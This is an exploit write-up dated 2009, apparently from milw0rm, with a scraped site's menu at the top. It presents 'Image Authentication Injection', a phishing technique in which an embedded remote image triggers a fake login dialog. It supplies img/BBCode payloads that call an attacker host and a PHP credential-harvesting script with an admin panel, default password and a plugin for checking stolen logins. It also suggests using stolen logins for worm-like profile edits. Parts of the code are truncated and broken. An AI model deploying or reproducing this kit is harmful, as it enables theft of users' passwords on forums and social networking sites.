Академический Документы
Профессиональный Документы
Культура Документы
when implemented correctly you can create a very effective phishing system or even
a worm
(unlike an XSS worm however you can't run client sided scripts on the victims
computer,
you would simply edit their profile from the server using the stolen credentials)
Shouts xplorer, RedDragonX, Zamani and the rest of the DuSecurity team
and of course str0ke
You can think of Image Authentication Injection as cross between XSS and Phishing.
It works anywhere you can put a remote image that will be persisted and displayed
later.
The main part of IAI is to create a php script that sends a 401 Unauthorized status
when it is
requested which will in turn cause the browser to display a login dialog (which
appears to the user
as if it were from the target website). Many sites and software are vulnerable to
this as there is no easy
way to patch it. I find it very effective on social networking sites such as
myspace and popular forums.
Usage:
[img]http://attacker/iai.php[/img]
<img src="http://attacker/iai.php" height="0" width="0" />
Now when your post displays so will a login dialog that when filled out will be
recorded and
sent to the attacker. The problem with this is that the login dialog displays text
such as:
[The site www.attacker.com is requesting authization. The site says "our title
here"]
Now I give you my IAI script. It is ready to be used with multiple sites and will
organize
logs by date and domain name. It has many options including a validation plugin
option which allows
you do make sure the user entered valid credentials for the target site.
Admin Panel:
http://attacker.com/iai.php?x=admin
Default Username: admin
Default Password: dusecurity
iai.php:
-----[code snip]-----
<?php
#################################
# image authentication injection#
#+=============================+#
# PoC by petros @ dusecurity #
#################################
# www.dusecurity.com #
#################################
###############################
# DO NOT EDIT BELOW THIS LINE #
###############################
$refer = parse_url($_SERVER['HTTP_REFERER']);
function insertTokens($str)
{
global $tokens;
foreach($tokens as $token => $replace)
$str = str_replace("%$token%", $replace, $str);
return $str;
}
$config['cookie_name'] = insertTokens($config['cookie_name']);
$cookie = $_COOKIES[$config['cookie_name']];
function phish()
{
global $config, $refer, $cookie;
$details = getDetails();
$exists = logExists($refer['host'], $details['user'], $details['pass']);
if($config['log_once'] && ($cookie == 'yes' || $exists))
return true;
if(!$details) { dothenasty(); return false; }
if($config['no_cache']) disableCache();
if($config['validate'] && $config['validate-plugin'])
{
if(is_file($config['validate-plugin']))
{
include $config['validate-plugin'];
if(function_exists('validate'))
{
if(!call_user_func('validate', $refer, $details['user'],
$details['pass']))
return false;
}
}
}
addLog($refer['host'], $details['user'], $details['pass']);
setCookie($config['cookie_name'], 'yes', $config['expire']); // set cookie
return false;
}
function admin()
{
global $config;
$details = getDetails();
if(!$details || ($details['user'] != $config['admin_user'] ||
$details['pass'] != $config['admin_password'])) { dothenasty("IAP Admin Login");
return false; }
$logs = loadLogs();
if(!$logs){ echo "Failed to load log file :'("; return true;}
$hosts = array_keys($logs);
// k now we show our logs
echo "<html><body><h1>Image Authentication Injection Logs</h1><ul>";
for($i = 0; $i < sizeof($hosts); $i++)
echo "<li><a href=\"#{$hosts[$i]}\">{$hosts[$i]}</a></li>";
echo "</ul>";
function getDetails()
{
if(!$_SERVER['PHP_AUTH_USER'] || !$_SERVER['PHP_AUTH_PW']) return false;
else return array('user' => $_SERVER['PHP_AUTH_USER'], 'pass' =>
$_SERVER['PHP_AUTH_PW']);
}
function disableCache()
{
header("Cache-Control: no-cache, must-revalidate");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // old versions of ie
}
?>
Make sure you log file is writable before using this script.
-----[code snip]-----
<?php
// if the function returns true the log will be saved, else it will be ignored
function validate($info, $user, $pass)
{
if($info['host'] != 'mytarget.com') return false;
else return true;
}
You may use this to make sure the person puts a valid username/password for target
websites.
The $info array contains the following info:
* scheme - e.g. http
* host
* port
* path
* query - after the question mark ?
* fragment - after the hashmark #
Have fun :)
** Remember this PoC script is hot off the presses and may contain bugs **
# milw0rm.com [2009-07-17]